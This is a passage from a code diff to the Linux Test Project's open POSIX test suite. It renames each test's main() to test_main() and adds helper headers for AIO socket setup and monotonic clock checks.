1c6a3636..2cb20c2a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-4.c @@ -35,7 +35,7 @@ #define ACCEPTABLEDELTA 1 #define RESOLUTION 1000000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-1.c index 47da7419..b8a229e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-1.c @@ -21,7 +21,7 @@ #define TIMERSEC 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-2.c index e5c10c07..88d7776a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/2-2.c @@ -23,7 +23,7 @@ #define TIMERSEC 1 #define SLEEPDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/3-1.c index 97772561..a822d753 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/3-1.c @@ -28,7 +28,7 @@ #define SLEEPDELTA 3 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c index 0935c04b..d09c2f70 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c @@ -17,7 +17,7 @@ #define BOGUSTID 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; struct itimerspec its; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-2.c index c3c9dfac..88a8d221 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-2.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-3.c index b2c72a55..ef7c37f5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-3.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-1.c index 512f93db..d5f51032 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-1.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-2.c index 25e07adb..2e18299f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/1-2.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/13-1.c index 31cd56f6..e3260b2f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/13-1.c @@ -56,7 +56,7 @@ static int testlist[NUMTESTS][4] = { {1, 0, -1073743192, 0}, // value.it_interval.tv_sec < 0 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/2-1.c index 55c6a212..3e5aa8b6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/2-1.c @@ -33,7 +33,7 @@ #define NUMREPS 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-1.c index 31584921..d0521268 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-1.c @@ -37,7 +37,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-2.c index f81da940..d6407f26 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-2.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-3.c index b9fc829a..8c3db3a1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/3-3.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("OK to be in once\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; struct sigevent ev; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-1.c index 3425294b..3117a0dd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-1.c @@ -36,7 +36,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-2.c index 51e53353..f3cbdee4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-2.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-3.c index 708046c6..f6b65a34 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/5-3.c @@ -41,7 +41,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) passes += 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/6-1.c index ef37abf5..94c33788 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/6-1.c @@ -29,7 +29,7 @@ #define TIMERINTERVALSEC 5 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-1.c index e8ce8c20..fd32467b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-1.c @@ -22,7 +22,7 @@ #define TIMERSEC 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-2.c index 0493de28..7067ee79 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-2.c @@ -24,7 +24,7 @@ #define TIMERSEC 1 #define SLEEPDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-3.c index ea75c25c..73b88f95 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-3.c @@ -28,7 +28,7 @@ #define TIMELEFT 5 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-4.c index cdf4612a..1a2ad779 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/8-4.c @@ -25,7 +25,7 @@ #define TIMERSEC 1 #define RELOADVAL 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-1.c index 0f598615..489f9970 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-1.c @@ -34,7 +34,7 @@ static int timeroffsets[NUMTESTS][2] = { {0, 30000000}, {1, 0}, {1, 5000}, {1, 5} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-2.c index 598ec8a5..12a777ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/9-2.c @@ -41,7 +41,7 @@ static int timeroffsets[NUMTESTS][2] = { {0, 90000000}, {1, 0}, {3, 5000}, {4, 5} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c index a1b99972..5d4e1dda 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c @@ -16,7 +16,7 @@ #define BOGUSTID 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; struct itimerspec its; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-2.c index 29a8ad34..3b6901c2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-2.c @@ -23,7 +23,7 @@ #define SIGTOTEST SIGALRM -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-3.c index 5897fae4..04ceb274 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-3.c @@ -21,7 +21,7 @@ #define SIGTOTEST SIGALRM -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c b/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c index 7c7d2f76..084110cb 100644 --- a/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c +++ b/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c @@ -25,7 +25,7 @@ #define MSG_SIZE 128 #define MAX_MSG 3 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct mq_attr mqstat, attr; char r_msg_ptr[MAX_MSG][MSG_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c b/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c index 22ecbb22..e5e978a9 100644 --- a/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c +++ b/ltp/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c @@ -105,7 +105,7 @@ static int *receive_2(void *mq) pthread_exit(NULL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { mqd_t mq1 = 0, mq2 = 0; diff --git a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c index 5d60de77..ed191172 100644 --- a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c +++ b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c @@ -94,7 +94,7 @@ static int *consumer(buf_t * buf) pthread_exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int shared = 1; int occupied_value = BUF_SIZE; diff --git a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_lock.c b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_lock.c index 9e42686d..08320ade 100644 --- a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_lock.c +++ b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_lock.c @@ -24,7 +24,7 @@ #define BUF_SIZE 200 #define DEFAULT_THREADS 5 -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { sem_t *sem_lock; int shared = 1; diff --git a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c index 0e02c633..f90b0a92 100644 --- a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c +++ b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c @@ -114,7 +114,7 @@ static int philosopher(void *ID) pthread_exit(NULL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t phi[PH_NUM]; int PhID[PH_NUM]; diff --git a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c index 38b4ea5a..f6f053ca 100644 --- a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c +++ b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c @@ -105,7 +105,7 @@ static int *writer(void *ID) pthread_exit(NULL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t rea[READ_NUM], wri[WRITE_NUM]; int ReadID[READ_NUM], WriteID[WRITE_NUM]; diff --git a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c index 0488c5fc..5f76ac49 100644 --- a/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c +++ b/ltp/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c @@ -135,7 +135,7 @@ static void *customers(void *ID) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t bar, cus[CUS_NUM]; int shared = 0; diff --git a/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_1.c b/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_1.c index 9226c50b..3e30d169 100644 --- a/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_1.c +++ b/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_1.c @@ -104,7 +104,7 @@ static void *low_prio_thread(void *tmp) return NULL; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t high_id, low_id; pthread_attr_t high_attr; diff --git a/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_2.c b/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_2.c index 5073e9c9..f3a38d6a 100644 --- a/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_2.c +++ b/ltp/testcases/open_posix_testsuite/functional/threads/condvar/pthread_cond_wait_2.c @@ -104,7 +104,7 @@ static void *low_prio_thread(void *tmp) return NULL; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t high_id, low_id; pthread_attr_t high_attr; diff --git a/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c b/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c index b221809d..1614ac36 100644 --- a/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c +++ b/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c @@ -108,7 +108,7 @@ static void *low_prio_thread(void *tmp) pthread_exit(NULL); } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t high_id, low_id; pthread_attr_t high_attr; diff --git a/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-2.c b/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-2.c index 8614d573..12d1a558 100644 --- a/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-2.c +++ b/ltp/testcases/open_posix_testsuite/functional/threads/schedule/1-2.c @@ -107,7 +107,7 @@ static void *low_prio_thread(void *tmp) pthread_exit(NULL); } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t high_id, low_id; pthread_attr_t low_attr, high_attr; diff --git a/ltp/testcases/open_posix_testsuite/functional/timers/clocks/invaliddates.c b/ltp/testcases/open_posix_testsuite/functional/timers/clocks/invaliddates.c index d4116b1e..4ac4965a 100644 --- a/ltp/testcases/open_posix_testsuite/functional/timers/clocks/invaliddates.c +++ b/ltp/testcases/open_posix_testsuite/functional/timers/clocks/invaliddates.c @@ -28,7 +28,7 @@ static int testtimes[NUMTESTS][2] = { {1049623200, 999999999}, // daylight savings 2003 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tpset, tpget, tsreset; int secdelta, nsecdelta; diff --git a/ltp/testcases/open_posix_testsuite/functional/timers/clocks/twopsetclock.c b/ltp/testcases/open_posix_testsuite/functional/timers/clocks/twopsetclock.c index 1748ef34..e207860d 100644 --- a/ltp/testcases/open_posix_testsuite/functional/timers/clocks/twopsetclock.c +++ b/ltp/testcases/open_posix_testsuite/functional/timers/clocks/twopsetclock.c @@ -28,7 +28,7 @@ #define ACCEPTABLEDELTA 1 #define LONGTIME 3 //== long enough for both clocks to be set -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct timespec tpget, tsreset; int pid, delta; diff --git a/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoevtimers.c b/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoevtimers.c index c372b5af..0e462297 100644 --- a/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoevtimers.c +++ b/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoevtimers.c @@ -37,7 +37,7 @@ static void handler_alrm(int signo) caughtalarm++; } -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { struct sigaction act1, act2; struct sigevent ev1, ev2; diff --git a/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoptimers.c b/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoptimers.c index aa9a7f76..7d128276 100644 --- a/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoptimers.c +++ b/ltp/testcases/open_posix_testsuite/functional/timers/timers/twoptimers.c @@ -21,7 +21,7 @@ #define CHILDPASS 1 -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int pid; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/include/aio_test.h b/ltp/testcases/open_posix_testsuite/include/aio_test.h new file mode 100644 index 00000000..9de0a4d9 --- /dev/null +++ b/ltp/testcases/open_posix_testsuite/include/aio_test.h @@ -0,0 +1,94 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2024 SUSE LLC <mdoucha@suse.cz> + */ + +#include <stdio.h> +#include <string.h> +#include <stdlib.h> +#include <errno.h> +#include <aio.h> +#include <sys/socket.h> + +static int setup_aio(const char *testname, int fd_pair[2], struct aiocb *reqs, + unsigned int count) +{ + unsigned int i; + int ret; + int bufsize; + socklen_t argsize = sizeof(bufsize); + + /* Open anonymous sockets */ + ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, fd_pair); + + if (ret) { + printf("%s Error creating sockets(): %s\n", testname, + strerror(errno)); + return -1; + } + + ret = getsockopt(fd_pair[0], SOL_SOCKET, SO_SNDBUF, &bufsize, &argsize); + if (ret) { + printf("%s Error reading socket buffer size: %s\n", testname, + strerror(errno)); + close(fd_pair[0]); + close(fd_pair[1]); + return -1; + } + + /* Socket buffer size is twice the maximum message size */ + bufsize /= 2; + memset(reqs, 0, sizeof(struct aiocb) * count); + + /* Setup basic AIO requests */ + for (i = 0; i < count; i++) { + reqs[i].aio_fildes = fd_pair[0]; + reqs[i].aio_buf = malloc(bufsize); + + if (!reqs[i].aio_buf) { + ret = errno; + break; + } + + reqs[i].aio_nbytes = bufsize; + reqs[i].aio_sigevent.sigev_notify = SIGEV_NONE; + memset((void *)reqs[i].aio_buf, 0xaa, bufsize); + } + + /* Setup successful */ + if (i >= count) + return 0; + + /* malloc() failed above */ + for (i = 0; i < count; i++) + free((void *)reqs[i].aio_buf); + + printf("%s malloc() failed: %s\n", testname, strerror(ret)); + close(fd_pair[0]); + close(fd_pair[1]); + return -1; +} + +static void cleanup_aio(int fd_pair[2], struct aiocb *reqs, unsigned int count) +{ + unsigned int i; + int ret; + + for (i = 0; i < count; i++) { + if (!reqs[i].aio_buf) + break; + + ret = aio_error(reqs + i); + + /* flush written data from the socket */ + if (ret == 0 || ret == EINPROGRESS) { + read(fd_pair[1], (void *)reqs[i].aio_buf, + reqs[i].aio_nbytes); + } + + free((void *)reqs[i].aio_buf); + } + + close(fd_pair[0]); + close(fd_pair[1]); +} diff --git a/ltp/testcases/open_posix_testsuite/include/clock.h b/ltp/testcases/open_posix_testsuite/include/clock.h new file mode 100644 index 00000000..0073db2c --- /dev/null +++ b/ltp/testcases/open_posix_testsuite/include/clock.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2026, Linux Test Project + * SPDX-License-Identifier: GPL-2.0-or-later + */ + +#ifndef PTS_CLOCK_H +#define PTS_CLOCK_H + +#include <stdio.h> +#include <stdlib.h> +#include <time.h> +#include <unistd.h> + +static inline int pts_mono_available(void) +{ +#ifdef _POSIX_MONOTONIC_CLOCK + if (_POSIX_MONOTONIC_CLOCK > 0) + return 1; + + if (!_POSIX_MONOTONIC_CLOCK && sysconf(_SC_MONOTONIC_CLOCK) > 0) + return 1; +#endif + return 0; +} + +static inline clockid_t pts_get_clock(void) +{ + if (pts_mono_available()) + return CLOCK_MONOTONIC; + + printf("CLOCK_MONOTONIC unavailable, test may fail due to clock adjustment\n"); + return CLOCK_REALTIME; +} + +#define PTS_MONO_MAX_RETRIES 3 + +static struct timespec pts_mono_start; + +static inline int pts_mono_time_start(void) +{ + if (!pts_mono_available()) { + static int warned; + + if (!warned) { + printf("CLOCK_MONOTONIC unavailable, test may fail due to clock adjustment\n"); + warned = 1; + } + return 0; + } + +#ifdef CLOCK_MONOTONIC + if (clock_gettime(CLOCK_MONOTONIC, &pts_mono_start) != 0) { + perror("clock_gettime(CLOCK_MONOTONIC) failed"); + return -1; + } +#endif + return 0; +} + +static inline int pts_mono_time_check(unsigned int expected_secs) +{ +#ifdef CLOCK_MONOTONIC + if (pts_mono_available()) { + struct timespec now; + long elapsed; + + if (clock_gettime(CLOCK_MONOTONIC, &now) != 0) { + perror("clock_gettime(CLOCK_MONOTONIC) failed"); + return -1; + } + + elapsed = now.tv_sec - pts_mono_start.tv_sec; + + if (labs(elapsed - (long)expected_secs) > 1) { + printf("Clock adjustment detected (elapsed %lds, 